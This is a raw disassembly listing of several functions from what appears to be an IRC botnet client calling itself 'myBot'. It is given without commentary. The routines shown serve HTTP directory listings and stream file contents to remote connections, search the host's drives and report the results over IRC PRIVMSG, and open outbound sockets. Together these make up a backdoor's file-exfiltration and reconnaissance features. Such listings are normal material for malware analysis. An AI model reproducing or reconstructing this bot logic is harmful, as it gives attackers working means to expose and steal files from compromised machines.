		push	edi
		push	edi
		push	esi
		call	near ptr 2750000h
		nop
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_40F614
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 24h
		jmp	short loc_40F635
; ---------------------------------------------------------------------------

loc_40F614:				; CODE XREF: sub_40F530+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41B886
		add	esp, 28h

loc_40F635:				; CODE XREF: sub_40F530+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	dword_4CAFC4
		cmp	[ebp+var_A4], edi
		jnz	short loc_40F675
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_40FFF0
		pop	ecx
		pop	ecx
		jmp	short loc_40F692
; ---------------------------------------------------------------------------

loc_40F675:				; CODE XREF: sub_40F530+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_40F96A
		add	esp, 10h

loc_40F692:				; CODE XREF: sub_40F530+143j
		push	[ebp+var_44C]
		call	dword_4CB00C
		push	[ebp+var_B4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26F0000h
		nop
		pop	edi
		pop	esi
sub_40F530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F6B3	proc near		; CODE XREF: sub_40F0D5+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41B590
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_40F6E9
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_40F6F2
; ---------------------------------------------------------------------------

loc_40F6E9:				; CODE XREF: sub_40F6B3+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"

loc_40F6F2:				; CODE XREF: sub_40F6B3+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_40F78D
		mov	[ebp+arg_8], 2

loc_40F71D:				; CODE XREF: sub_40F6B3+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_40F75D
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_40F75D
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_40F75D
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_40F777
; ---------------------------------------------------------------------------

loc_40F75D:				; CODE XREF: sub_40F6B3+7Aj
					; sub_40F6B3+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_40F76D
		push	5Ch
		pop	eax
		jmp	short loc_40F770
; ---------------------------------------------------------------------------

loc_40F76D:				; CODE XREF: sub_40F6B3+B3j
		movsx	eax, al

loc_40F770:				; CODE XREF: sub_40F6B3+B8j
		mov	[ebp+ebx+var_210], al

loc_40F777:				; CODE XREF: sub_40F6B3+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40F71D

loc_40F78D:				; CODE XREF: sub_40F6B3+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_4293C4
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_314]
		push	offset asc_429998 ; "\n"
		push	eax
		call	sub_41C0F4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 2690CDEh
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_40F7DE
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40F7E1
		push	[ebp+arg_0]
		jmp	loc_40F861
; ---------------------------------------------------------------------------

loc_40F7DE:				; CODE XREF: sub_40F6B3+11Cj
		mov	[ebp+var_4], esi

loc_40F7E1:				; CODE XREF: sub_40F6B3+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_40F7EE
		mov	[ebp+var_4], esi

loc_40F7EE:				; CODE XREF: sub_40F6B3+136j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_40F86C
		cmp	[ebp+arg_C], edi
		jz	short loc_40F860
		lea	eax, [ebp+var_314]
		push	offset asc_433AA8 ; "*"
		push	eax
		call	sub_41BEC0
		pop	ecx
		lea	eax, [ebp+var_314]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_4100AD
		add	esp, 0Ch
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_41B886
		or	[ebp+var_330], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		mov	[ebp+var_31C], esi
		jmp	short loc_40F8BB
; ---------------------------------------------------------------------------

loc_40F860:				; CODE XREF: sub_40F6B3+152j
		push	ebx

loc_40F861:				; CODE XREF: sub_40F6B3+126j
		call	dword_4CB00C
		jmp	loc_40F963
; ---------------------------------------------------------------------------

loc_40F86C:				; CODE XREF: sub_40F6B3+14Dj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	near ptr 2710A21h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40F8BB
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_41B886
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		nop
		call	near ptr 2750B1Eh
		push	esi
		mov	[ebp+var_330], eax
		nop
		call	near ptr 2670999h

loc_40F8BB:				; CODE XREF: sub_40F6B3+1ABj
					; sub_40F6B3+1D6j
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_433A74
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_40B0F6
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	dword_43DEB4[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_40F530
		push	edi
		push	edi
		nop
		call	near ptr 26900B1h
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40F935

loc_40F923:				; CODE XREF: sub_40F6B3+280j
		cmp	[ebp+var_318], edi
		jnz	short loc_40F963
		push	5
		nop
		call	near ptr 2690000h
		jmp	short loc_40F923
; ---------------------------------------------------------------------------

loc_40F935:				; CODE XREF: sub_40F6B3+26Ej
		push	ebx
		call	dword_4CB00C
		call	near ptr 2690800h
		nop
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_433A3C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_40F963:				; CODE XREF: sub_40F6B3+1B4j
					; sub_40F6B3+276j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F6B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40F96A	proc near		; CODE XREF: sub_401ACD+777Ap
					; sub_40F530+15Ap

var_594		= byte ptr -594h
var_490		= byte ptr -490h
var_388		= dword	ptr -388h
var_374		= byte ptr -374h
var_368		= dword	ptr -368h
var_35C		= byte ptr -35Ch
var_248		= byte ptr -248h
var_48		= byte ptr -48h
var_20		= byte ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_12		= word ptr -12h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp+var_594]
		push	ebx
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_41B590
		mov	edi, [ebp+arg_0]
		push	offset asc_429998 ; "\n"
		push	edi
		call	sub_41C0F4
		add	esp, 14h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40F9C9
		push	edi
		mov	esi, 200h
		push	[ebp+arg_8]
		lea	eax, [ebp+var_248]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FAC8
; ---------------------------------------------------------------------------

loc_40F9C9:				; CODE XREF: sub_40F96A+3Aj
		cmp	[ebp+arg_C], ebx
		push	edi
		jz	loc_40FAAE
		call	sub_41AFE0
		pop	ecx
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	edi
		call	sub_41AFE0
		pop	ecx
		mov	byte ptr [eax+edi], 2Ah
		push	3Ch
		push	96h
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 18h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_40FAC8
; ---------------------------------------------------------------------------

loc_40FAAE:				; CODE XREF: sub_40F96A+63j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h

loc_40FAC8:				; CODE XREF: sub_40F96A+5Aj
					; sub_40F96A+142j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_40FB63
		push	[ebp+arg_C]
		call	sub_41AFE0
		sub	eax, 3
		pop	ecx
		jz	short loc_40FB14

loc_40FB08:				; CODE XREF: sub_40F96A+1A8j
		mov	ecx, [ebp+arg_C]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_40FB14
		dec	eax
		jnz	short loc_40FB08

loc_40FB14:				; CODE XREF: sub_40F96A+19Cj
					; sub_40F96A+1A5j
		inc	eax
		push	eax
		lea	eax, [ebp+var_594]
		push	[ebp+arg_C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch
		lea	eax, [ebp+var_594]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4

loc_40FB63:				; CODE XREF: sub_40F96A+180j
					; sub_40F96A+18Ej
		lea	eax, [ebp+var_388]
		push	eax
		push	edi
		nop
		call	near ptr 25D0000h
		lea	ecx, [ebp+var_388]
		mov	[ebp+arg_0], eax
		push	ecx
		push	eax
		nop
		call	near ptr 2780000h
		test	eax, eax
		jz	loc_40FF53
		mov	edi, 1FFh

loc_40FB8F:				; CODE XREF: sub_40F96A+5E3j
		cmp	[ebp+var_388], ebx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a__	; ".."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_35C]
		push	offset a_	; "."
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40FF3B
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_374]
		push	eax
		nop
		call	near ptr 2770000h
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 276091Dh
		nop
		mov	ax, [ebp+var_10]
		mov	ecx, offset aPm	; "PM"
		cmp	ax, 0Ch
		ja	short loc_40FC04
		mov	ecx, offset aAm	; "AM"

loc_40FC04:				; CODE XREF: sub_40F96A+293j
		cmp	ax, 0Ch
		movzx	eax, ax
		jbe	short loc_40FC10
		sub	eax, 0Ch

loc_40FC10:				; CODE XREF: sub_40F96A+2A1j
		push	ecx
		movzx	ecx, [ebp+var_E]
		push	ecx
		push	eax
		movzx	eax, [ebp+var_18]
		push	eax
		movzx	eax, [ebp+var_12]
		push	eax
		movzx	eax, [ebp+var_16]
		push	eax
		lea	eax, [ebp+var_48]
		push	offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d  %2.2d:%2.2d %s"
		push	eax
		call	sub_41B886
		add	esp, 20h
		test	byte ptr [ebp+var_388],	10h
		jz	loc_40FDB3
		inc	[ebp+var_8]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FC84
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s  %-21s\n"
		jmp	loc_40FEFC
; ---------------------------------------------------------------------------

loc_40FC84:				; CODE XREF: sub_40F96A+2E0j
		cmp	[ebp+arg_C], ebx
		jz	loc_40FD6E
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset aSS_0	; "%s%s/"
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Eh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FD24
		push	offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>"
		jmp	short loc_40FD29
; ---------------------------------------------------------------------------

loc_40FD24:				; CODE XREF: sub_40F96A+3B1j
		push	offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>"

loc_40FD29:				; CODE XREF: sub_40F96A+3B8j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FEFD
; ---------------------------------------------------------------------------

loc_40FD6E:				; CODE XREF: sub_40F96A+31Dj
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset aS	; "<%s>"
		lea	eax, [ebp+var_490]
		push	106h
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_490]
		push	eax
		push	offset a31s21s	; "%-31s  %-21s\r\n"
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 14h
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDB3:				; CODE XREF: sub_40F96A+2D4j
		inc	[ebp+var_4]
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FDF2
		push	ebx
		push	[ebp+var_368]
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	[ebp+arg_8]
		push	offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s  %-21s (%s bytes)\n"
		push	esi

loc_40FDDE:				; CODE XREF: sub_40F96A+577j
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		jmp	loc_40FF0C
; ---------------------------------------------------------------------------

loc_40FDF2:				; CODE XREF: sub_40F96A+44Fj
		cmp	[ebp+arg_C], ebx
		jz	loc_40FEE6
		push	0E6h
		push	offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\""
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_C]
		push	offset dword_4293C4
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 14h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		lea	eax, [ebp+var_35C]
		push	eax
		call	sub_41AFE0
		cmp	eax, 1Fh
		pop	ecx
		lea	eax, [ebp+var_35C]
		push	eax
		jbe	short loc_40FE92
		push	offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>"
		jmp	short loc_40FE97
; ---------------------------------------------------------------------------

loc_40FE92:				; CODE XREF: sub_40F96A+51Fj
		push	offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>"

loc_40FE97:				; CODE XREF: sub_40F96A+526j
		lea	eax, [ebp+var_248]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		mov	eax, [ebp+var_368]
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_48]
		push	3Ch
		push	eax
		push	96h
		push	offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"...
		push	edi
		jmp	loc_40FDDE
; ---------------------------------------------------------------------------

loc_40FEE6:				; CODE XREF: sub_40F96A+48Bj
		push	[ebp+var_368]
		lea	eax, [ebp+var_48]
		push	eax
		lea	eax, [ebp+var_35C]
		push	eax
		push	offset a31s21sIBytes ; "%-31s  %-21s (%i bytes)\r\n"

loc_40FEFC:				; CODE XREF: sub_40F96A+315j
		push	esi

loc_40FEFD:				; CODE XREF: sub_40F96A+3FFj
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_41B980
		add	esp, 18h

loc_40FF0C:				; CODE XREF: sub_40F96A+444j
					; sub_40F96A+483j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF3B
		push	7D0h
		nop
		call	near ptr 2690000h

loc_40FF3B:				; CODE XREF: sub_40F96A+22Bj
					; sub_40F96A+246j ...
		lea	eax, [ebp+var_388]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2780000h
		test	eax, eax
		jnz	loc_40FB8F

loc_40FF53:				; CODE XREF: sub_40F96A+21Aj
		push	[ebp+arg_0]
		nop
		call	near ptr 2760000h
		cmp	[ebp+arg_8], ebx
		jz	short loc_40FF96
		mov	eax, [ebp+var_8]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_4]
		cdq
		push	edx
		push	eax
		call	sub_416922
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+arg_8]
		push	offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"...
		push	eax
		call	sub_41B886
		add	esp, 14h
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FF96:				; CODE XREF: sub_40F96A+5F5j
		cmp	[ebp+arg_C], ebx
		jz	short loc_40FFB0
		lea	eax, [ebp+var_248]
		push	offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_40FFCA
; ---------------------------------------------------------------------------

loc_40FFB0:				; CODE XREF: sub_40F96A+62Fj
		push	[ebp+var_8]
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n"
		push	eax
		call	sub_41B886
		add	esp, 10h

loc_40FFCA:				; CODE XREF: sub_40F96A+62Aj
					; sub_40F96A+644j
		lea	eax, [ebp+var_248]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_40F96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FFF0	proc near		; CODE XREF: sub_40F530+13Cp

var_404		= byte ptr -404h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 404h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	3
		push	esi
		push	1
		push	80000000h
		push	[ebp+arg_4]
		mov	edi, 400h
		mov	[ebp+var_4], esi
		call	near ptr 2710A21h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_4100A8
		push	esi
		push	ebx
		call	near ptr 2750B1Eh
		nop
		cmp	eax, esi
		mov	[ebp+arg_4], eax
		jz	short loc_4100A1

loc_410035:				; CODE XREF: sub_40FFF0+AFj
		push	400h
		lea	eax, [ebp+var_404]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	edi, [ebp+arg_4]

loc_41004D:				; DATA XREF: ___:00437A30o
					; ___:00437A44o
		jbe	short loc_410052
		mov	edi, [ebp+arg_4]

loc_410052:				; CODE XREF: sub_40FFF0:loc_41004Dj
		mov	eax, [ebp+arg_4]
		push	2
		neg	eax
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 2790000h
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2710000h
		push	esi
		lea	eax, [ebp+var_404]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFC4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41009C
		call	dword_4CAF08
		cmp	eax, 2733h
		jnz	short loc_4100A1
		xor	eax, eax

loc_41009C:				; CODE XREF: sub_40FFF0+9Bj
		sub	[ebp+arg_4], eax
		jnz	short loc_410035

loc_4100A1:				; CODE XREF: sub_40FFF0+43j
					; sub_40FFF0+A8j
		push	ebx
		call	near ptr 2670999h
		nop

loc_4100A8:				; CODE XREF: sub_40FFF0+30j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FFF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4100AD	proc near		; CODE XREF: sub_40F6B3+181p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	esi, esi
		push	edi
		call	sub_41AFE0
		test	eax, eax
		pop	ecx
		jbe	short loc_4100D6

loc_4100C0:				; CODE XREF: sub_4100AD+27j
		cmp	byte ptr [esi+edi], 5Ch
		jnz	short loc_4100CA
		mov	byte ptr [esi+edi], 2Fh

loc_4100CA:				; CODE XREF: sub_4100AD+17j
		push	edi
		inc	esi
		call	sub_41AFE0
		cmp	esi, eax
		pop	ecx
		jb	short loc_4100C0

loc_4100D6:				; CODE XREF: sub_4100AD+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4100AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100DB	proc near		; CODE XREF: sub_401ACD+5297p

var_4A0		= byte ptr -4A0h
var_310		= byte ptr -310h
var_110		= byte ptr -110h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		sub	esp, 4A0h
		push	ebx
		lea	eax, [ebp+var_4A0]
		push	edi
		push	eax
		push	101h
		call	dword_4CAEE4
		push	6
		push	1
		push	2
		call	dword_4CAFF4
		mov	ebx, eax
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_14]
		call	dword_4CAF74
		push	[ebp+arg_10]
		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
